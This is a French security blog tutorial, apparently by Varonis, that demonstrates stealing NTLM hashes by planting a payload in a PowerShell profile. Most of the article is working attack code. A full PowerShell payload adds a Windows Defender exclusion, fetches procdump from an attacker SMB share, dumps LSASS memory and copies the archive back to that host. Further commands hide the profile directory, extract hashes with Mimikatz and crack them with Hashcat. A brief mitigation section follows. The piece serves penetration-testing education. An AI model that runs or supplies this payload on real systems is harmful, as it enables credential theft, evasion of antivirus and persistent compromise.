Exfiltration de hachages NTLM à l’aide de profils PowerShell

Découvrez comment exfiltrer des hachages NTLM à l’aide de PowerShell, de Mimikatz, de Hashcat et d’autres techniques en vous appuyant sur des exemples de code concrets, des guides animés et des captures d’écran.
Tokyoneon
11 minute de lecture
Dernière mise à jour 5 octobre 2023

La méthode d’élévation des privilèges décrite dans cet article est utilisée par des groupes d’espionnage russes. Elle illustre la possibilité pour un attaquant d’exploiter les fonctionnalités intégrées de PowerShell pour exécuter des commandes arbitraires dans un environnement à privilèges élevés (administrateur). Vous trouverez ci-dessous une démonstration de l’exfiltration de hachages NTLM. Le cadre MITRE ATT&CK définit ce type d’attaque comme suit :

Exécution déclenchée par un événement : les hackers peuvent instaurer un accès persistant et élever leurs privilèges en exécutant du contenu malveillant déclenché par des profils PowerShell. Un profil PowerShell (profile.ps1) est un script qui s’exécute au démarrage de PowerShell et peut être utilisé en tant que script d’ouverture de session pour personnaliser l’environnement des utilisateurs. Les hackers peuvent modifier ces profils pour y inclure des commandes, fonctions, modules et/ou lecteurs PowerShell arbitraires afin de mettre en place un accès persistant à l’environnement.

Dans cet article, nous allons aborder les sujets suivants :

Accédez à une série de cours sur l’automatisation des tâches Active Directory à l'aide de PowerShell et obtenez 3 crédits CPE (cours en anglais)

"PowerShell peut vous aider à automatiser des choses allant de la création de rapports AD à la création de boîtes aux lettres Exchange... et même à contrôler votre système d'arrosage."

Comprendre l’attaque

Dans l’exemple ci-dessous, un utilisateur innocent lance PowerShell avec les privilèges d’administrateur local. capture d’écran d’administrateur PowerShell sous Windows La session semble tout à fait normale à l’utilisateur. En examinant le profil PowerShell, nous pouvons toutefois constater que les mots de passe hachés sont transmis à un serveur contrôlé par un hacker, de manière parfaitement invisible pour l’utilisateur ciblé. Les conditions idéales pour la réalisation de cette attaque sont les suivantes :

  • Droits de l’administrateur local : avec les comptes Administrateur local, les sessions PowerShell démarrées avec des privilèges limités ou des privilèges d’administrateur partagent un même profil profile.ps1. Un attaquant disposant d’un accès distant peut ainsi manipuler le fichier profile.ps1, exécuté par les sessions PowerShell de l’administrateur.
  • Stratégies d’exécution PowerShell laxistes : la réalisation de l’attaque dépend au final de la stratégie d’exécution. Le profil profile.ps1 ne s’exécute dans les sessions PowerShell d’administrateur que si l’exécution de scripts est autorisée.

La topologie réseau contient une machine Windows 10 et une machine Kali Linux, toutes deux connectées à un même routeur (voir ci-dessous). Illustration de Kali Linux et Windows PowerShell

Que sont les stratégies d’exécution PowerShell ?

La documentation Microsoft les définit comme suit :

Une stratégie d’exécution de PowerShell est une fonctionnalité de sécurité qui contrôle les conditions dans lesquelles PowerShell charge des fichiers de configuration et exécute des scripts… Il ne s’agit pas d’un système limitant les actions des utilisateurs. Elle les aide simplement à définir des règles de base et leur évite de les violer involontairement.

Sous Windows 10, la stratégie par défaut de l’ensemble des étendues est « Non défini ». Toutefois, les utilisateurs n’hésitent généralement pas à modifier les stratégies CurrentUser et LocalMachine pour permettre l’exécution de scripts. Les stratégies trop laxistes, comme RemoteSignedUnrestricted ou Bypass rendent possible une élévation des privilèges. Utilisez la commande Get-ExecutionPolicy -List pour afficher les stratégies en vigueur.

  1. PS C:\Users\varonis> Get-ExecutionPolicy -List
  2. Scope ExecutionPolicy
  3. ----- ---------------
  4. MachinePolicy Undefined
  5. UserPolicy Undefined
  6. Process Undefined
  7. CurrentUser Undefined
  8. LocalMachine RemoteSigned
PS C:\Users\varonis> Get-ExecutionPolicy -List

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Undefined
 LocalMachine       RemoteSigned

Que sont les profils PowerShell ?

Les profils PowerShell sont des scripts qui s’exécutent en parallèle de chaque nouvelle session PowerShell, y compris les sessions PowerShell ISE et Visual Studio. Ils offrent un moyen pratique, pour les utilisateurs et développeurs, de charger des fonctions et modules personnalisés sur chaque nouveau terminal PowerShell. Utilisez la variable $PROFILE pour afficher le chemin du profil de la session. capture d’écran d’un profil PowerShell Affichez le contenu du fichier avec la commande Get-Content.

  1. PS C:\Users\varonis> Get-Content $PROFILE
PS C:\Users\varonis> Get-Content $PROFILE

Si le répertoire n’existe pas, un attaquant peut le créer et le masquer, afin qu’il ne soit pas détecté.

  1. PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"

Si le fichier PS1 n’existe pas, créez-le. L’extraction des mots de passe nécessite des privilèges élevés : il s’agit donc d’un moyen efficace d’empêcher la charge utile de s’exécuter dans des environnements à faible privilège.

  1. PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE

capture d’écran d’une charge utile PowerShell À première vue, le problème ne semble pas majeur. Il faut bien comprendre qu’un hacker peut modifier un fichier exécuté automatiquement par les sessions PowerShell d’administrateur. Vous pouvez tout à fait remplacer la commande echo par une commande permettant de désactiver Windows Defender ou de réinitialiser les mots de passe.

Configurer l’attaque

À l’aide de ce que nous avons vu, nous allons utiliser les profils PowerShell pour montrer comment un hacker peut extraire des mots de passe hachés. Dans Kali, commencez par créer le répertoire de travail qui contiendra nos divers fichiers.

  1. tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare

Téléchargez la dernière version de ProcDump.

  1. tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'

Décompressez le fichier pour visualiser les différentes versions de ProcDump. L’attaque décrite dans cet article repose sur procdump.exe.

  1. tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip

Téléchargez le script que j’ai créé pour cet article et enregistrez-le sous le nom de « payload ». Utilisez ensuite la commande ci-dessous ou rendez-vous directement sur mon référentiel GitHub. Remplacez l’adresse IP de la variable $server de la charge utile par l’adresse de votre machine Kali.

  1. tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload

La charge utile contient plusieurs commandes simples. Le cmdlet Add-MpPreference ajoute $env:TEMP à la liste des exclusions de Windows Defender. Cette manipulation permet d’empêcher Windows Defender de détecter procdump.exe ou l’extraction de la mémoire LSASS. esentutl.exe vient remplacer Invoke-WebRequest en téléchargeant procdump.exe depuis le partage SMB du hacker. ProcDump exécute et enregistre l’extraction LSASS vers $env:TEMP. Celle-ci est compressée au format ZIP avec Compress-Archive, puis exfiltrée vers le partage SMB à l’aide de la commande cp. J’ai ajouté des commentaires dans la charge utile pour clarifier le processus.

  1. # an if statement to prevent the attack from executing without administrator privileges
  2. if (whoami /groups | findstr /i "S-1-16-12288")
  3. {
  4. # start the attack as a background processs to prevent the PS terminal from stalling when opened
  5. Start-Job {
  6. # where to write data during the attack?
  7. $temp = "$env:TEMP"
  8. # create path exclusion in Windows Defender to prevent procdump detection
  9. Add-MpPreference -ExclusionPath $temp
  10. # sleep several seconds to allow the path exclusion to take effect
  11. Start-Sleep -s 4
  12. # the attacker's IP address
  13. $server = "192.168.56.101"
  14. # the attacker's SMB share name, must match impacket-smbserver share name
  15. $share = "evilshare"
  16. # procdump filename as it appears on the attacker's SMB share
  17. $procdump = "procdump.exe"
  18. # procdump.exe is saved locally with a random string as the filename
  19. $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'
  20. # the procdump output path when saved locally; shameless username plug
  21. $dump = "tokyoneon.dmp"
  22. # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
  23. $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"
  24. # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
  25. esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o
  26. # execute procdump and dump LSASS memory
  27. & $temp\$filename -accepteula -ma lsass.exe $temp\$dump
  28. # suppress progress bar that appears in the terminal when compressing the dump
  29. $ProgressPreference = "SilentlyContinue"
  30. # compress the dump
  31. Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force
  32. # exfiltrate the compressed dump to the attacker's SMB share via cp
  33. cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
  34. }
# an if statement to prevent the attack from executing without administrator privileges
if (whoami /groups | findstr /i "S-1-16-12288")
{
  # start the attack as a background processs to prevent the PS terminal from stalling when opened
  Start-Job {
    # where to write data during the attack?
    $temp = "$env:TEMP"

    # create path exclusion in Windows Defender to prevent procdump detection
    Add-MpPreference -ExclusionPath $temp
    
    # sleep several seconds to allow the path exclusion to take effect
    Start-Sleep -s 4

    # the attacker's IP address
    $server = "192.168.56.101"

    # the attacker's SMB share name, must match impacket-smbserver share name
    $share = "evilshare"

    # procdump filename as it appears on the attacker's SMB share
    $procdump = "procdump.exe"

    # procdump.exe is saved locally with a random string as the filename
    $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'

    # the procdump output path when saved locally; shameless username plug
    $dump = "tokyoneon.dmp"

    # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
    $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"

    # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
    esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o

    # execute procdump and dump LSASS memory
    & $temp\$filename -accepteula -ma lsass.exe $temp\$dump

    # suppress progress bar that appears in the terminal when compressing the dump
    $ProgressPreference = "SilentlyContinue"

    # compress the dump
    Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force

    # exfiltrate the compressed dump to the attacker's SMB share via cp
    cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
}

Démarrez impacket-smbserver pour envoyer la charge utile, puis attendez l’arrivée des extractions LSASS. Le terminal doit rester ouvert pendant toute la durée de l’attaque.

  1. tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"

capture d’écran d’une charge utile PowerShell attendant les extractions LSASS Sous Windows, ajoutez la charge utile à la cible $PROFILE. Il est possible d’y parvenir via un reverse shell ou une porte dérobée, mais nous allons utiliser un terminal PowerShell pour plus de simplicité. Remplacez la variable $attacker de la commande suivante par l’adresse IP de votre machine Kali.

  1. PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE

capture d’écran d’un profil PowerShell malveillant Lorsque la cible démarre une nouvelle session PowerShell d’administrateur, impacket-smbserver se présente comme suit. capture d’écran de impacket-smbserver sous PowerShell Deux invites « AUTHENTICATE_MESSAGE » distinctes s’affichent dans la sortie impacket-smbserver : le système d’exploitation cible récupère le fichier procdump.exe et l’extraction LSASS compressée envoyée au serveur. Après le deuxième message, patientez quelques instants, puis appuyez deux fois sur Ctrl + c pour fermer le serveur Impacket. Un nouveau fichier ZIP figurera dans le répertoire actif. Dézippez-le pour trouver le fichier DMP.

Extraire les hachages de mots de passe avec Mimikatz

Les mots de passe hachés du fichier DMP ne sont pas en texte clair. Déplacez le fichier DMP dans une machine virtuelle Windows 10 sur laquelle Windows Defender est désactivé. Téléchargez la dernière version de Mimikatz (mimikatz_trunk.zip) et enregistrez-la dans le dossier Downloads de Windows. Ouvrez un terminal PowerShell et décompressez le fichier ZIP à l’aide de la commande suivante.

  1. PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz

Naviguez jusqu’au répertoire x64 et exécutez le fichier binaire mimikatz.exe.

  1. PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe

capture d’écran de mimikatz.exe Chargez le fichier DMP dans Mimikatz à l’aide de la commande sekurlsa::minidump.

  1. mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp

Utilisez ensuite la commande sekurlsa::logonPasswords pour extraire les identifiants hachés. Voyez le hachage NTLM sur la ligne 12.

  1. mimikatz # sekurlsa::logonPasswords
  2. Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...
  3. 1 Authentication Id : 0 ; 188563 (00000000:0002e093)
  4. 2 Session : Interactive from 1
  5. 3 User Name : varonis
  6. 4 Domain : DESKTOP-JI80T34
  7. 5 Logon Server : DESKTOP-JI80T34
  8. 6 Logon Time : 11/15/2020 9:56:57 PM
  9. 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001
  10. 8 msv :
  11. 9 [00000003] Primary
  12. 10 * Username : varonis
  13. 11 * Domain : DESKTOP-JI80T34
  14. 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5
  15. 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
  16. 14 tspkg :
  17. 15 wdigest :
  18. 16 * Username : varonis
  19. 17 * Domain : DESKTOP-JI80T34
  20. 18 * Password : (null)
  21. 19 kerberos :
  22. 20 * Username : varonis
  23. 21 * Domain : DESKTOP-JI80T34
  24. 22 * Password : (null)
  25. 23 ssp :
  26. 24 credman :
  27. 25 cloudap :
  28. ----- [truncated] -----
  29. 59 Authentication Id : 0 ; 999 (00000000:000003e7)
  30. 60 Session : UndefinedLogonType from 0
  31. 61 User Name : DESKTOP-JI80T34$
  32. 62 Domain : WORKGROUP
  33. 63 Logon Server : (null)
  34. 64 Logon Time : 11/15/2020 9:56:50 PM
  35. 65 SID : S-1-5-18
  36. 66 msv :
  37. 67 tspkg :
  38. 68 wdigest :
  39. 69 * Username : DESKTOP-JI80T34$
  40. 70 * Domain : WORKGROUP
  41. 71 * Password : (null)
  42. 72 kerberos :
  43. 73 * Username : desktop-ji80t34$
  44. 74 * Domain : WORKGROUP
  45. 75 * Password : (null)
  46. 76 ssp :
  47. 77 credman :
  48. 78 cloudap :
  49. mimikatz #
mimikatz # sekurlsa::logonPasswords

Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...

  1	Authentication Id : 0 ; 188563 (00000000:0002e093)
  2	Session           : Interactive from 1
  3	User Name         : varonis
  4	Domain            : DESKTOP-JI80T34
  5	Logon Server      : DESKTOP-JI80T34
  6	Logon Time        : 11/15/2020 9:56:57 PM
  7	SID               : S-1-5-21-3489785614-2607058550-4100802712-1001
  8	        msv :
  9	         [00000003] Primary
 10	         * Username : varonis
 11	         * Domain   : DESKTOP-JI80T34
 12	         * NTLM     : 2ba9afd0306922f6aed8c6a2406ddab5
 13	         * SHA1     : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
 14	        tspkg :
 15	        wdigest :
 16	         * Username : varonis
 17	         * Domain   : DESKTOP-JI80T34
 18	         * Password : (null)
 19	        kerberos :
 20	         * Username : varonis
 21	         * Domain   : DESKTOP-JI80T34
 22	         * Password : (null)
 23	        ssp :
 24	        credman :
 25	        cloudap :
    
 			----- [truncated] -----
    
 59	Authentication Id : 0 ; 999 (00000000:000003e7)
 60	Session           : UndefinedLogonType from 0
 61	User Name         : DESKTOP-JI80T34$
 62	Domain            : WORKGROUP
 63	Logon Server      : (null)
 64	Logon Time        : 11/15/2020 9:56:50 PM
 65	SID               : S-1-5-18
 66	        msv :
 67	        tspkg :
 68	        wdigest :
 69	         * Username : DESKTOP-JI80T34$
 70	         * Domain   : WORKGROUP
 71	         * Password : (null)
 72	        kerberos :
 73	         * Username : desktop-ji80t34$
 74	         * Domain   : WORKGROUP
 75	         * Password : (null)
 76	        ssp :
 77	        credman :
 78	        cloudap :

mimikatz #

Craquer les hachages NTLM avec Hashcat

Passons maintenant à un autre outil de test de pénétration, Hashcat. En 2020, certains utilisateurs définissent toujours des mots de passe faibles pour sécuriser leurs données et leurs comptes. Avec la dernière version de Hashcat et une carte graphique GTX 1060 standard, une seconde suffit pour décrypter un hachage de 7 caractères.

  1. tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l

capture d’écran de Hashcat en action

Bloquer et détecter l’attaque

Comme le recommande le cadre MITRE ATT&CKvérifiez que les emplacements des profils ne sont pas modifiés. Vous pouvez également prendre les mesures suivantes :

  • Signature du code : autorisez uniquement l’exécution de scripts PowerShell signés. Signez les profils pour qu’ils ne puissent pas être modifiés.
  • Limitation des droits sur les fichiers et répertoires : en limitant la modification des profils PowerShell à certains administrateurs, vous empêcherez les hackers de créer facilement un accès persistant au niveau des utilisateurs.
  • Configuration logicielle : évitez de recourir aux profils PowerShell si vous pouvez vous en passer. Utilisez l’argument -NoProfile lors de l’exécution de scripts PowerShell à distance pour empêcher l’exécution de profils locaux.

Conclusion

Cette attaque portant sur les hachages NTLM montre les dangers d’une stratégie trop laxiste associée à des comptes Administrateur local. Nous avons vu comment un hacker pouvait forcer l’administrateur à exfiltrer des hachages NTLM, mais il est également très simple de modifier la charge utile que nous avons utilisée avec PsExec pour disposer du droit NT AUTHORITY\SYSTEM. Découvrez d’autres conseils destinés aux testeurs d’intrusion utilisant PowerShell. Suivez-moi sur Twitter @tokyoneon_ et GitHub pour rester informé de mes projets du moment. N’hésitez pas à me faire part de vos questions et inquiétudes en commentaire ou sur Twitter.

Que dois-je faire maintenant ?

Vous trouverez ci-dessous trois solutions pour poursuivre vos efforts visant à réduire les risques liés aux données dans votre entreprise:

1

Planifiez une démonstration avec nous pour voir Varonis en action. Nous personnaliserons la session en fonction des besoins de votre organisation en matière de sécurité des données et répondrons à vos questions.

2

Consultez un exemple de notre évaluation des risques liés aux données et découvrez les risques qui pourraient subsister dans votre environnement. Cette évaluation est gratuite et vous montre clairement comment procéder à une remédiation automatisée.

3

Suivez-nous sur LinkedIn, YouTube et X (Twitter) for pour obtenir des informations sur tous les aspects de la sécurité des données, y compris la DSPM, la détection des menaces, la sécurité de l’IA et plus encore.

Essayez Varonis gratuitement.

Obtenez un rapport détaillé sur les risques liés aux données basé sur les données de votre entreprise.
Se déploie en quelques minutes.

Keep reading

Varonis tackles hundreds of use cases, making it the ultimate platform to stop data breaches and ensure compliance.

scripts-powershell :-tutoriel-destiné-aux-débutant(e)s
Scripts PowerShell : tutoriel destiné aux débutant(e)s
Vous découvrez les scripts PowerShell ? Parcourez ces tutoriels pour apprendre à écrire et exécuter des scripts de base, des cmdlets PowerShell, des alias, des tubes et bien plus encore.
comment-installer-et-importer-le-module-active-directory-pour-powershell
Comment installer et importer le module Active Directory pour PowerShell
Le module Active Directory pour PowerShell est un outil puissant destiné à la gestion d’Active Directory. Découvrez comment installer et importer le module PowerShell dans ce tutoriel détaillé.
comment-les-apt-utilisent-des-proxys-inverses-pour-lancer-des-commandes-nmap-sur-les-réseaux-internes
Comment les APT utilisent des proxys inverses pour lancer des commandes Nmap sur les réseaux internes
Ce guide sur les proxys inverses et la commande Nmap aborde l’utilisation de proxychains, des mesures de protection et des stratégies de détection.
branchement-et-fusion-dans-git :-le-guide-étape-par-étape
Branchement et fusion dans Git : le guide étape par étape
Dans les articles précédents, vous avez appris « Comment annuler une validation dans Git » (un tutoriel PowerShell Git) et à « Maîtriser la fusion dans Git : tutoriel sur les référentiels Git locaux et distants ». Vous pouvez...